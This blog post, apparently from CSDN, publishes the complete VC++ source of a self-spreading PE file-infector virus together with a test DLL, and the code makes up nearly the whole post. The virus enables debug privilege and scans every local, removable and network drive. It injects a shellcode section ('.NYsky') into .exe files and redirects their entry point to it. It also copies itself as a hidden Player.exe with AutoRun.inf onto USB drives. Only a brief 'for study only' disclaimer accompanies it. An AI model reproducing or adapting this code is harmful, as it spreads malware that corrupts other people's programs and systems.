PE型感染病毒 —— VC源码

狼哥的原话:“真正的文件型PE病毒,是不能发布调试版本的,只能靠自己的判断使用发布版本,就算要调试也只能使用其它的调试器,比喻说OllyDbg来调试发布版本......”

 

这类程序调试起来足矣让人精神紊乱,下面是全部的代码,有兴趣的看看吧.....

 

 

这是测试Test.dll源码:

  1. /  
  2. // Test.dll  
  3. // by Koma   2009-12-18 0:40  
  4. // http://blog.csdn.net/wangningyu  
  5. #include <windows.h>  
  6. BOOL APIENTRY DllMain( HANDLE hModule,   
  7.                        DWORD  ul_reason_for_call,   
  8.                        LPVOID lpReserved  
  9.                      )  
  10. {  
  11.     HANDLE  hThread;  
  12.     DWORD   dwThread;  
  13.     switch(lpReserved)  
  14.     {  
  15.     case DLL_PROCESS_ATTACH:  
  16.         MessageBox(NULL,"some process is attching !","Test",MB_OK);  
  17.         hThread = CreateThread(NULL,0,SomeFunction,NULL,0,dwThread);  
  18.         WaitForSingleObject(hThread,INFINITE);  
  19.         CloseHandle(hThread);  
  20.         break;  
  21.     case DLL_THREAD_ATTACH:  
  22.         MessageBox(NULL,"some thread is attching !","Test",MB_OK);  
  23.         break;  
  24.     case DLL_THREAD_DETACH:  
  25.         MessageBox(NULL,"some thread is detaching !","Test",MB_OK);  
  26.         break;  
  27.     case DLL_PROCESS_DETACH:    //   
  28.         MessageBox(NULL,"some process is exited !","Test",MB_OK);  
  29.         break;  
  30.     }  
  31.     return TRUE;  

这是主程序源码

/
// 感染PE文件病毒源码
// by Koma   2009-12-18 0:30
// http://blog.csdn.net/wangningyu
// 程序仅供学习交流,请不要尝试用作非法用途!
// 感谢寂寞的狼、llydd、大飞的指导与技术支持!
/
// 引入头文件
//
#include <afxwin.h>
#include <windows.h>
/
// DiskInfo class
// 采用多线程感染每一个磁盘驱动器
//
class  DiskInfo
{
public:
	CString m_strName;					// 磁盘名称,例如C:
	CString m_strFilePath;				// 感染文件的绝对路径
	BOOL	CurFileIsInject;			// 判断该文件是否被感染过
	DiskInfo();							// 构造函数,用来初始化成员变量
};
/
// DiskInfo 构造函数
// 初始化成员变量
//
DiskInfo::DiskInfo()
{
	m_strFilePath = _T("");
	m_strName	  = _T("");
}
/************************************************************************/
// 全局函数声明
/************************************************************************/
void EmuAllDisk();								// 多线程感染全盘文件
BOOL GetOSVersion();							// 获取操作系统版本是不是NT内核
BOOL InfectPE(CString strFilePath);				// 感染指定路径exe文件
BOOL IsInfect(CString strFile);					// 判断是否被感染过
BOOL CheckPE(FILE* pFile);						// 检查文件格式
int	 Align(int size,unsigned int align);		// 用来计算对齐数据后的大小
int  EmuDiskFiles(LPCTSTR lpStr);				// 遍历指定盘符exe文件
void RaiseToDebug();							// 进程提权
/************************************************************************/
// 全局变量声明
/************************************************************************/
DiskInfo	di;								    // 传递多线程参数:设置盘符名
DiskInfo	diInject;						    // 传递多线程参数:设置文件路径
/************************************************************************/
/* 函数说明:复制到U盘
/* 参    数:无
/* 返 回 值:成功返回0,失败返回非0
/* By:Koma   2009.12.16 20:35
/************************************************************************/
DWORD ThreadInfectU()
{
	while(true)
	{
		// 磁盘类型
		UINT revtype;			
		char name[256]="H://" ;	
		char szName[256]={0};
		char toPath[256]={0};
		char infPath[256]={0};
		char openU[80]={0};
		
		// 遍历所有盘符		
		for(BYTE i=0x42;i<0x5B;i=i+0x01)
		{
			name[0]=i;
			revtype=GetDriveType(name);
			
			// 判断是否是可移动存储设备
			if (revtype==DRIVE_REMOVABLE)
			{	
				// 得到自身文件路径、比较是否和U盘的盘符相同
				GetModuleFileName(NULL,szName,256);	
				if(strncmp(name,szName,1)==0)
				{
					return -1;	
				}
				else
				{
					strcpy(toPath,name);
					strcat(toPath,"//Player.exe");
					strcpy(infPath,name);
					strcat(infPath,"//AutoRun.inf");
					
					// 还原U盘上的文件属性
					SetFileAttributes(toPath,FILE_ATTRIBUTE_NORMAL);
					SetFileAttributes(infPath,FILE_ATTRIBUTE_NORMAL);
					
					// 删除原有文件
                    DeleteFile(toPath);
					DeleteFile(infPath);
					
					// 拷贝自身文件到U盘、把这两个文件设置成系统,隐藏属性
					CopyFile(szName,toPath,FALSE);
					SetFileAttributes(toPath,
						FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM);
					SetFileAttributes(infPath,
						FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM);
				}
			}
		}
		
		// 休眠5秒检测一次
		Sleep(5000);
	}
}
/************************************************************************/
/* 函数说明:线程 —— 感染指定exe文件
/* 参    数:驱动器名称,如C:
/* 返 回 值:遍历的数目
/* By:Koma   2009.12.17 14:05
/************************************************************************/
DWORD ThreadInject(LPVOID lpParameter)
{
	DiskInfo *diParam = (DiskInfo *)lpParameter;
	BOOL	 bRet = InfectPE(diParam->m_strFilePath);
	if(bRet)
		return 0;
	return -1;
}
/************************************************************************/
/* 函数说明:线程 —— 遍历驱动器exe文件
/* 参    数:驱动器名称,如C:
/* 返 回 值:遍历的数目
/* By:Koma   2009.12.17 14:05
/************************************************************************/
DWORD ThreadDisk(LPVOID lpParameter)
{
	DiskInfo *diParam = (DiskInfo *)lpParameter;
	BOOL	 bRet = EmuDiskFiles(diParam->m_strName);
	if(bRet)
		return 0;
	return -1;
}
int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd )
{
	RaiseToDebug();								// 提升权限
	EmuAllDisk();								// 依次启动遍历磁盘线程、遍历文件
    MessageBox(NULL,"程序启动成功!","测试",MB_OK);
	return 0;
}
/************************************************************************/       
/* 函数说明:获取应用程序当前目录                                          
/* 参    数:无                                      
/* 返 回 值:返回目录路径、CString类型字符串       
/* By:Koma   2009.12.17 14:25                                   
/************************************************************************/       
CString GetExePath()     
{     
    char pathbuf[260];        
    int  pathlen = ::GetModuleFileName(NULL,pathbuf,260);        
    // 替换掉单杠     
    while(TRUE)        
    {        
        if(pathbuf[pathlen--]=='//')        
            break;        
    }        
    pathbuf[++pathlen]= 0x0;        
    CString  fname = pathbuf;        
    return   fname;        
} 
/************************************************************************/
/* 函数说明:提升进程权限到debug权限
/* 参    数:无
/* 返 回 值:无
/* By:Koma   2009.12.17 21:20
/************************************************************************/
void RaiseToDebug()
{
    HANDLE hToken;
    HANDLE hProcess = GetCurrentProcess();		// 获取当前进程句柄 
	
    // 打开当前进程的Token,就是一个权限令牌,第二个参数可以用TOKEN_ALL_ACCESS
    if (OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
    {
        TOKEN_PRIVILEGES tkp;
        if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid))
        {
            tkp.PrivilegeCount = 1;
            tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
			
            //通知系统修改进程权限
            BOOL bREt = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0);
        }
        CloseHandle(hToken);
    }    
}
/************************************************************************/
/* 函数说明:保护文件防止被轻易删除
/* 参    数:无
/* 返 回 值:无
/* By:Koma   2009.12.17 21:42
/************************************************************************/
BOOL OccupyFile(LPCTSTR lpFileName) 
{ 
    RaiseToDebug();								// 提升权限 
	
    // 打开syetem进程,打开前必须赋予PROCESS_DUP_HANDLE权限 
    HANDLE hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, 4);
    if (hProcess == NULL) 
    { 
        hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, 8); 
        if (hProcess == NULL) 
            return FALSE; 
    } 
	
    HANDLE hFile = NULL; 
    HANDLE hTargetHandle = NULL; 
	
    // 创建一个文件,当然这个文件可以是本来就存在的 
    hFile = CreateFile(lpFileName, GENERIC_READ | GENERIC_EXECUTE | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);    
	
    if (hFile == INVALID_HANDLE_VALUE) 
    { 
        // 文件创建或打开失败 
        CloseHandle( hProcess ); 
        return FALSE; 
    }
	return TRUE;
}
/************************************************************************/
/* 函数说明:多线程感染全盘文件
/* 参    数:无
/* 返 回 值:无
/* By:Koma   2009.12.17 22:30
/************************************************************************/
void EmuAllDisk()
{
	CString strTemp;							// 临时字符串
	UINT	revtype;							// 磁盘类型
	char	name[5]= "C:";						// 磁盘名称
	int		nCount = 0;							// 磁盘数量
	HANDLE	hThread[10];						// 最大启动十个磁盘感染线程
	DWORD	dwTid[10];							// 线程PID
	for(BYTE i=0x42;i<0x5B;i=i+0x01)			// 遍历所有盘符
	{
		name[0]=i;
		revtype=GetDriveType(name);
		
		switch(revtype){						// 判断磁盘驱动器的属性
		case DRIVE_FIXED:						// 是否为本地磁盘
		case DRIVE_REMOVABLE:					// 是否为可移动磁盘
		case DRIVE_REMOTE:						// 是否为网络磁盘
			if(nCount>10){						// 最大启动十个线程
				nCount = 0;						// 恢复计数器
				Sleep(30000);					// 休眠30秒
				break;
			}
			strTemp.Format("%c",name[0]);
			strTemp = strTemp + ":";			// 磁盘字符串形式,如C:
			di.m_strName = strTemp;				// 设置感染文件的绝对路径
			hThread[nCount] = CreateThread (NULL, 0, (unsigned long (__stdcall *)(void *))ThreadDisk,(LPVOID)(&di),NULL,&dwTid[nCount]);
			nCount++;
			break;			
		}
	}
}
/************************************************************************/
/* 函数说明:判断操作系统版本
/* 参    数:无
/* 返 回 值:NT以上版本的系统返回TRUE,失败返回FALSE
/* By:Koma   2009.12.18 22:20
/************************************************************************/
BOOL GetOSVersion()
{
	DWORD	dwVersion = 0;
	
	// 如果是Windows 98/Me/95以上的操作系统则返回TRUE
	dwVersion = GetVersion();
	if (dwVersion < 0x80000000)
	{
		return TRUE;
	}
	return FALSE;
}
/************************************************************************/
/* 函数说明:感染exe文件
/* 参    数:strFile	文件路径
/* 返 回 值:成功返回TRUE,失败返回FALSE
/* By:Koma   2009.12.18 21:32
/************************************************************************/
BOOL InfectPE(CString strFilePath)
{
	FILE*					rwFile;						// 被感染的文件
	IMAGE_SECTION_HEADER	NewSection;					// 定义要添加的区块
	IMAGE_NT_HEADERS		NThea;						// 
	DWORD					pNT;						// pNT中存放IMAGE_NT_HEADERS结构的地址
	int						nOldSectionNo;
	int						OEP;
	
	if((rwFile=fopen(strFilePath,"rb"))==NULL){			// 打开文件失败则返回
		return FALSE;
	}
	
	if(!CheckPE(rwFile)){								// 如果不是PE文件则返回
		return FALSE;
	}
	
	fseek(rwFile,0x3c,0);
	fread(&pNT,sizeof(DWORD),1,rwFile);
	fseek(rwFile,pNT,0);
	fread(&NThea,sizeof(IMAGE_NT_HEADERS),1,rwFile);	// 读取原文件的IMAGE_NT_HEADERS结构
	nOldSectionNo=NThea.FileHeader.NumberOfSections;	// 保存原文件区块数量
	OEP=NThea.OptionalHeader.AddressOfEntryPoint;		// 保存原文件区块OEP
	IMAGE_SECTION_HEADER	SEChea;						// 定义一个区块存放原文件最后一个区块的信息
	int SECTION_ALIG=NThea.OptionalHeader.SectionAlignment;
	int FILE_ALIG=NThea.OptionalHeader.FileAlignment;	// 保存文件对齐值与区块对齐值
	memset(&NewSection, 0, sizeof(IMAGE_SECTION_HEADER));
	fseek(rwFile,pNT+248,0);							// 读原文件最后一个区块的信息
	for(int i=0;i<nOldSectionNo;i++)
		fread(&SEChea,sizeof(IMAGE_SECTION_HEADER),1,rwFile);
	
	FILE	*newfile = fopen(strFilePath,"rb+");
	if(newfile==NULL){
		return FALSE;
	}
	fseek(newfile,SEChea.PointerToRawData+SEChea.SizeOfRawData,SEEK_SET);
	goto shellend;
	__asm
	{    
shell:  PUSHAD
			MOV  EAX,DWORD PTR FS:[30H]		;FS:[30H]指向PEB
			MOV  EAX,DWORD PTR [EAX+0CH]	;获取PEB_LDR_DATA结构的指针
			MOV  EAX,DWORD PTR [EAX+1CH]	;获取LDR_MODULE链表表首结点的inInitializeOrderModuleList成员的指针
			MOV  EAX,DWORD PTR [EAX]		;LDR_MODULE链表第二个结点的inInitializeOrderModuleList成员的指针
			MOV  EAX,DWORD PTR [EAX+08H]	;inInitializeOrderModuleList偏移8h便得到Kernel32.dll的模块基址
			MOV  EBP,EAX					;将Kernel32.dll模块基址地址放至kernel中
			MOV  EAX,DWORD PTR [EAX+3CH]	;指向IMAGE_NT_HEADERS
			MOV  EAX,DWORD PTR [EBP+EAX+120];指向导出表
			MOV  ECX,[EBP+EAX+24]			;取导出表中导出函数名字的数目
			MOV  EBX,[EBP+EAX+32]			;取导出表中名字表的地址
			ADD  EBX,EBP
			PUSH WORD  PTR 0X00				;构造GetProcAddress字符串
			PUSH DWORD PTR 0X73736572
			PUSH DWORD PTR 0X64644163
			PUSH DWORD PTR 0X6F725074
			PUSH WORD PTR 0X6547
			MOV  EDX,ESP
			PUSH ECX
			
F1:  
		MOV  EDI,EDX
			POP  ECX
			DEC  ECX
			TEST  ECX,ECX
			JZ  EXIT
			MOV  ESI,[EBX+ECX*4]    
			ADD  ESI,EBP
			PUSH  ECX
			MOV  ECX,15
			REPZ  CMPSB
			TEST  ECX,ECX
			JNZ  F1
			
			POP  ECX
			MOV  ESI,[EBP+EAX+36]			;取得导出表中序号表的地址
			ADD  ESI,EBP
			MOVZX  ESI,WORD PTR[ESI+ECX*2]	;取得进入函数地址表的序号
			MOV  EDI,[EBP+EAX+28]			;取得函数地址表的地址
			ADD  EDI,EBP
			MOV  EDI,[EDI+ESI*4]			;取得GetProcAddress函数的地址
			ADD  EDI,EBP      
			
			PUSH WORD PTR 0X00				;构造LoadLibraryA字符串
			PUSH DWORD PTR 0X41797261
			PUSH DWORD PTR 0X7262694C
			PUSH DWORD PTR 0X64616F4C
			PUSH ESP
			PUSH  EBP
			CALL  EDI						;调用GetProcAddress取得LoadLibraryA函数的地址
			PUSH  WORD PTR 0X00				;添加参数“test”符串
			PUSH  DWORD PTR 0X74736574
			PUSH  ESP
			CALL  EAX
EXIT:  ADD ESP,36							;平衡堆栈
	   POPAD
	}
shellend:
	char*	pShell;
	int		nShellLen;
	BYTE	jmp = 0xE9;
	__asm
	{
		LEA EAX,shell
		MOV pShell,EAX;
		LEA EBX,shellend
		SUB EBX,EAX
		MOV nShellLen,EBX
	}
		
	// 写入SHELLCODE,
	for(i=0;i<nShellLen;i++)
		fputc(pShell[i],newfile);
		
	// SHELLCODE之后是跳转到原OEP的指令
	NewSection.VirtualAddress=SEChea.VirtualAddress+Align(SEChea.Misc.VirtualSize,SECTION_ALIG);
	OEP=OEP-(NewSection.VirtualAddress+nShellLen)-5;
	fwrite(&jmp, sizeof(jmp), 1, newfile);
	fwrite(&OEP, sizeof(OEP), 1, newfile);
		
	// 将最后增加的数据用0填充至按文件中对齐的大小
	for(i=0;i<Align(nShellLen,FILE_ALIG)-nShellLen-5;i++)
		fputc('/0',newfile);
		
	// 新区块中的数据
	strcpy((char*)NewSection.Name,".NYsky");
	NewSection.PointerToRawData=SEChea.PointerToRawData+SEChea.SizeOfRawData;
	NewSection.Misc.VirtualSize=nShellLen;
	NewSection.SizeOfRawData=Align(nShellLen,FILE_ALIG);
	NewSection.Characteristics=0xE0000020;
		
	// 新区块可读可写可执行、写入新的块表
	fseek(newfile,pNT+248+sizeof(IMAGE_SECTION_HEADER)*nOldSectionNo,0);
	fwrite(&NewSection,sizeof(IMAGE_SECTION_HEADER),1,newfile);
	
	int nNewImageSize=NThea.OptionalHeader.SizeOfImage+Align(nShellLen,SECTION_ALIG);
	int nNewSizeofCode=NThea.OptionalHeader.SizeOfCode+Align(nShellLen,FILE_ALIG);
	fseek(newfile,pNT,0);
	NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress=0;
	NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size=0;
	NThea.OptionalHeader.SizeOfCode=nNewSizeofCode;
	NThea.OptionalHeader.SizeOfImage=nNewImageSize;
	NThea.FileHeader.NumberOfSections=nOldSectionNo+1;
	NThea.OptionalHeader.AddressOfEntryPoint=NewSection.VirtualAddress;
		
	// 写入更新后的PE头结构
	fwrite(&NThea,sizeof(IMAGE_NT_HEADERS),1,newfile);
	fclose(newfile);
	fclose(rwFile);
	return TRUE;
}
/************************************************************************/
/* 函数说明:判断文件是否被感染
/* 参    数:strFile	文件路径
/* 返 回 值:成功返回TRUE,失败返回FALSE
/* By:Koma   2009.12.18 22:35
/************************************************************************/ 
BOOL IsInfect(CString strFile)
{
	HANDLE	hFile;								// 保存文件句柄
	HANDLE	hMapping;							// 内存文件映射句柄
	void*	pBasePointer;						// PE入口点
	int		dwSestion;							// 节结数
	int		i;									// 临时循环变量
	BOOL	bRet = FALSE;						// 返回值
	
	IMAGE_DOS_HEADER *imDos_Headers;			// 定义DOS头
	IMAGE_NT_HEADERS *imNT_Headers;				// 定义PE头
	IMAGE_SECTION_HEADER *imSECTION_Headers;	// 定义SECTION表头
	
	// 打开文件
	hFile=CreateFile(strFile,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING, 
		FILE_ATTRIBUTE_NORMAL,0);
	if (hFile==INVALID_HANDLE_VALUE){
//		GetLastError(); 
		return FALSE; 
	} 
	
	// 创建内存映射文件
	if (!(hMapping=CreateFileMapping(hFile,0,PAGE_READONLY|SEC_COMMIT,0,0,0))){
		CloseHandle(hFile);
		CloseHandle(hMapping);
		return FALSE;
	}
	if (!(pBasePointer=::MapViewOfFile(hMapping,FILE_MAP_READ,0,0,0))){									
		CloseHandle(hFile);
		CloseHandle(hMapping);
		return FALSE;
	}
	
	// 设置初始指针地址
	imDos_Headers=(IMAGE_DOS_HEADER *)pBasePointer;	
	if(!(imDos_Headers->e_magic ==IMAGE_DOS_SIGNATURE)){
		CloseHandle(hFile);
		CloseHandle(hMapping);
		return FALSE;
	}
	
	// NT头指针地址
	imNT_Headers=(IMAGE_NT_HEADERS *)((char *)pBasePointer+imDos_Headers->e_lfanew);
	
	// 读取节表名
	CString strTemp = "";
	CString strSectionName;
	for(i=0,imSECTION_Headers =(IMAGE_SECTION_HEADER *)((char *)imNT_Headers+sizeof(IMAGE_NT_HEADERS));i<imNT_Headers->FileHeader .NumberOfSections;i++,imSECTION_Headers++)
	{
		strTemp.Format("第%d节:%s/n",i+1,imSECTION_Headers->Name);
		strSectionName = strSectionName + strTemp;
		dwSestion = i;
	}
	
	// 查找节点是否存在
	// MessageBox(strSectionName);
	if(strSectionName.Find(".data")>0){
		bRet = TRUE;
	}
	
	// 关闭句柄、释放文件
	CloseHandle(hMapping);
    CloseHandle(hFile);
	return bRet;
}
/************************************************************************/
/* 函数说明:用来计算对齐数据后的大小
/* 参    数:size		计算大小
/*			 align		对齐后的长度
/* 返 回 值:对齐数据后的大小
/* By:Koma   2009.12.18 23:25
/************************************************************************/
BOOL CheckPE(FILE* pFile)
{    
	fseek(pFile,0,SEEK_SET);
	BOOL  bFlags=FALSE;
	WORD  IsMZ;
	DWORD  IsPE,pNT;
	fread(&IsMZ,sizeof(WORD),1,pFile);
	if(IsMZ==0x5A4D)
	{
		fseek(pFile,0x3c,SEEK_SET);
		fread(&pNT,sizeof(DWORD),1,pFile);
		fseek(pFile,pNT,SEEK_SET);
		fread(&IsPE,sizeof(DWORD),1,pFile);
		if(IsPE==0X00004550)
			bFlags=TRUE;
		else
			bFlags=FALSE;
	}
	else
		bFlags=FALSE;
	fseek(pFile,0,SEEK_SET);
	return bFlags;
}
/************************************************************************/
/* 函数说明:用来计算对齐数据后的大小
/* 参    数:size		计算大小
/*			 align		对齐后的长度
/* 返 回 值:对齐数据后的大小
/* By:Koma   2009.12.18 23:42
/************************************************************************/
int Align(int size,unsigned int align)
{
	if(size%align!=0)
		return (size/align+1)*align;
	else 
		return size;
}
/************************************************************************/
/* 函数说明:遍历感染指定驱动器中所有exe文件
/* 参    数:驱动器名称,如C:
/* 返 回 值:遍历的数目
/* By:Koma   2009.12.18 23:55
/************************************************************************/
int EmuDiskFiles(LPCTSTR lpStr)
{
	CFileFind	fd;
	CString		strWild(lpStr);
	CString		str = fd.GetFilePath();	        // 获取每个文件的绝对路径
	int			nTemp = 0;				        // 最大启动5个线程同时感染
	BOOL		bRet;
	HANDLE		hThread;
	DWORD		dwTid;
	strWild += _T("//*.*");						// 查找类型
	bRet = fd.FindFile(strWild);				// 开始查找
	while (bRet){								// 如果不为空,继续遍历
ReEmu:		bRet = fd.FindNextFile();			// 查找下一个文件
		if(fd.IsDots())							// 过滤目录自身与上层目录
			continue;
		else if(fd.IsDirectory()){				// 判断是否为文件夹
			CString str = fd.GetFilePath();		// 获取文件夹路径
			EmuDiskFiles(str);					// 继续遍历子目录
		}
		else
		{
			int nTemp1 = str.Find("WINDOWS");	// 如果是XP系统目录则跳过
			int nTemp2 = str.Find("WINNT");	// 如果是WIN2000系统目录也跳过
			if(nTemp1>0 || nTemp2>0)
				goto ReEmu;
			if(str.Find(".exe")>0){			// 判断是否为exe扩展名
				if(!IsInfect(str))				// 判断是否感染过
				{
					di.m_strFilePath = str;	    // 设置感染文件的绝对路径
					hThread = CreateThread (NULL, 0, (unsigned long (__stdcall *)(void *))ThreadInject,(LPVOID)(&diInject),NULL,&dwTid); 
					WaitForSingleObject(hThread,INFINITE);
					//InfectPE(str);
				}
				continue;
			}
		}
		Sleep(10000);                           // 10秒种遍历一个文件
	}
	return 0;
}
/
// 感染PE文件病毒源码
// by Koma   2009-12-18 0:30
// http://blog.csdn.net/wangningyu
// 程序仅供学习交流,请不要尝试用作非法用途!
/


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值